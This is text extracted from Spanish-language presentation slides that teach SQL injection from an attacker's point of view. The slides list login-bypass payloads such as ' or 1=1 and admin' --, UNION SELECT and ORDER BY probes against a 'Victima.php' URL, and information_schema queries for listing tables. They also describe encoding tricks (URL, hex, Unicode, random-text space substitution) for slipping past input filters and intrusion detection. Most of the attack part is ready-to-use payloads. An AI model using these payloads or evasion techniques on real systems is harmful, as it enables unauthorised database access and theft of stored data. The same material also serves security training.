3. Es una vulnerabilidad catalogada de alto riesgo, por su
gran capacidad de interactuar firmemente con la base de
datos del servidor vulnerable, Actual mente el 80 % de las
aplicaciones en internet son vulnerables SQLI
Esta se debe a un pésimo filtrado de las variables de
entrada a la base de datos de una aplicación, esta
vulnerabilidad se explotara al momento de insertar código
SQL arbitrariamente en los campos mal filtrados.
5. El uso de las comillas simples antes
de realizar una inyección son
totalmente importantes pues nos
ayudan a identificar si el sistema es
vulnerable o no, ya que al insertarla
en un parámetro la respuesta por
parte del servidor será un error de
sintaxis SQL.
6. Los strings en sql son delimitados por comillas
simples („)
10. Para pasarnos un loggin Se utiliza la sentencia OR ya
que esta significa que si algo es verdadero entonces
todo será verdadero OR 1=1 . Esto provocará que
automáticamente toda la consulta sea verdadera, sea
cual sea el usuario.
1.- V or V = VERDADERO-------------------- „‟OR 1=1 /* „
2.- V or F = VERDADERO-------------------- “OR 1=0 /* „
3.- F or V = VERDADERO-------------------- “OR 0=1 /* „
4.- F or F = FALSO----------------------------- “OR 0=0 /* ‟
11. admin‟ - -
admin‟ #
admin „ /*
„ or 1=1- -
„ or 1=1#
„ or 1=0/*
„) or 1=0
„1‟=„1- -
„) or 1=1
(„1‟=„1 - -
„) */ 1=0 #
12. Index.php?id=18+union+all+select+,1,2,3,4,5,6,7—
Ocurrió un error al intentar consultar la BD
Index.php?id=18+union+all+select+,1,2,3,4,5,6,7,8—
Ocurrió un error al intentar consultar la BD
The used SELECT statements have a different number of columns
13. Victima.php?id=-1 ORDER BY 1/*
Victima.php?id=-1 ORDER BY 2/*
Victima.php?id=-1 ORDER BY 3/*
Victima.php?id=-1 ORDER BY 4/*
Victima.php?id=-1 ORDER BY 5/*
Victima.php?id=-1 ORDER BY 6/*
Victima.php?id=-1 ORDER BY 7/* ----------- Error
17. version() versión de MySQL
database() nombre de la BD
current_user() usuario y host
last_insert_id() ultimo valor de columna AUTO_INCREMENT
connection_id() ID de una conexión
@@datadir directorio de la db
18. Proporciona acceso a los metadatos de la base de
datos. El diccionario de datos o catalogo del sistema.
19. INFORMATION_SCHEMA.SCHEMATA
SCHEMATA--------------------------------Información acerca de la DB
TABLES-------------------------------------Proporciona información de las tablas
COLUMNS----------------------------------Información de columnas
STATISTICS--------------------------------Índices de tablas
COLUMN_PRIVILEGES-----------------Permisos de tablas
1+union+all+select+1,table_name,3,4,5+from+information_schema.tables
20.
21. Una vez obtenido el nombre de la tabla, se realiza la
petición para ver su contenido.
22. Se concatena el las variables obtenidas anteriormente,
separadas por 0x3a para apreciar mejor el resultado.
27. El atacante sabe que existen filtros que evitara la
llegada de la inyección al servidor, el usara una
combinación de caracteres y encriptaciones para
saltarse los filtros y el IDS lo reconozca como
validos.
30. URL Encode
3-------------------------- %33
4-------------------------- %34
5-------------------------- %35
6-------------------------- %36
A --------------------------%41
Útil para evadir B --------------------------%42
detección de palabras C --------------------------%43
El atacante sabe que existen filtros que evitara la
llegada de la inyección al servidor, el usara una
combinación de caracteres y encriptaciones para
saltarse los filtros y el IDS lo reconozca como
validos.
31. El atacante sabe que existen filtros que evitara la
llegada de la inyección al servidor, el usara una
combinación de caracteres y encriptaciones para
saltarse los filtros y el IDS lo reconozca como
validos.
Cifra en Hexadecimal, útil cuando la
aplicación emplea Url encode
32. El atacante sabe que existen filtros que evitara la
llegada de la inyección al servidor, el usara una
combinación de caracteres y encriptaciones para
saltarse los filtros y el IDS lo reconozca como
validos.
Cifrando con el estándar
Unicode
33. El atacante sabe que existen filtros que evitara la
llegada de la inyección al servidor, el usara una
combinación de caracteres y encriptaciones para
saltarse los filtros y el IDS lo reconozca como
validos.
remplaza los espacios en la petición por
%23randomText%0A, y después es cifrado con URL
encode
34. El atacante sabe que existen filtros que evitara la
llegada de la inyección al servidor, el usara una
combinación de caracteres y encriptaciones para
saltarse los filtros y el IDS lo reconozca como
validos.
Cifra con un random de caracteres en
los espacios.